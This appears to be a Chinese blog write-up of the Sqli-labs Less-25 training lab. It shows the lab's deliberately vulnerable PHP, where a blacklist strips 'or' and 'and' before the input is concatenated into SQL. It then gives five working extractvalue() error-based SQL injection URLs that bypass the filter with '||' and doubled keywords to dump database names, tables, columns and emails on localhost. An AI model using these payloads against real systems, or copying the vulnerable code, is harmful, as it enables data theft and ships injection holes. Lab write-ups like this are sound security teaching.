zoukankan      html  css  js  c++  java
  • Sqli-labs Less-25 绕过or和and过滤 extractvalue()报错注入

    关键代码

    function blacklist($id)
    {
    	$id= preg_replace('/or/i',"", $id);			//strip out OR (non case sensitive)
    	$id= preg_replace('/AND/i',"", $id);		//Strip out AND (non case sensitive)
    	
    	return $id;
    }
    $id=$_GET['id'];
    $id= blacklist($id);
    $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
    
    print_r(mysql_error());

    本关主要为or and过滤,如何绕过or和and过滤。一般性提供以下几种思路:

    1. 大小写变形 Or,OR,oR
    2. 编码,hex,urlencode
    3. 添加注释/*or*/
    4. 利用符号 and=&& or=||
    5. 双写or或and绕过

    暂时只想到这些,还有的话可以补充。

    本关方法(1)(2)(3)均无效,下面我们利用方法(4)和(5)进行。

    报错注入 示例

    1、获取当前数据库

    http://127.0.0.1/sql/Less-25/?id=1' || extractvalue(1,concat(0x7e,(select database()),0x7e)) --+

    这里使用||来绕过or过滤。

    2、获取所有数据库

    http://127.0.0.1/sql/Less-25/index.php?id=1' || extractvalue(1,concat(0x7e,(select group_concat(schema_name) from infoorrmation_schema.schemata),0x7e))--+

    这里将information_schema改为infoorrmation_schema来绕过or过滤。

    3、查看security库数据表

    http://127.0.0.1/sql/Less-25/index.php?id=1' || extractvalue(1,concat(0x7e,(select group_concat(table_name) from infoorrmation_schema.tables where table_schema='security'),0x7e))--+ 

    4、查看emails表的所有列

    http://127.0.0.1/sql/Less-25/index.php?id=1' || extractvalue(1,concat(0x7e,(select group_concat(column_name) from infoorrmation_schema.columns where table_schema='security' aandnd table_name='emails'),0x7e))--+

    这里使用aandnd来绕过and过滤。

    5、获取内容

    http://127.0.0.1/sql/Less-25/index.php?id=1' || extractvalue(1,concat(0x7e,(select group_concat(id,0x3a,email_id) from emails),0x7e))--+

    参考:https://www.cnblogs.com/lcamry/p/5763002.html

  • 相关阅读:
    [转]Eclipse之ANT使用
    [转]深入浅出解读微软云计算:让云触手可及
    [转]android的selector,背景选择器
    [转]android 个人铃声设置代码
    [转]Android中的Frame动画
    [转]WebGL中文教程
    节点遍历函数
    javascript深拷贝
    javascript 跨浏览器的事件系统
    CSS选择器的权重详解
  • 原文地址:https://www.cnblogs.com/zhengna/p/12634971.html
Copyright © 2011-2022 走看看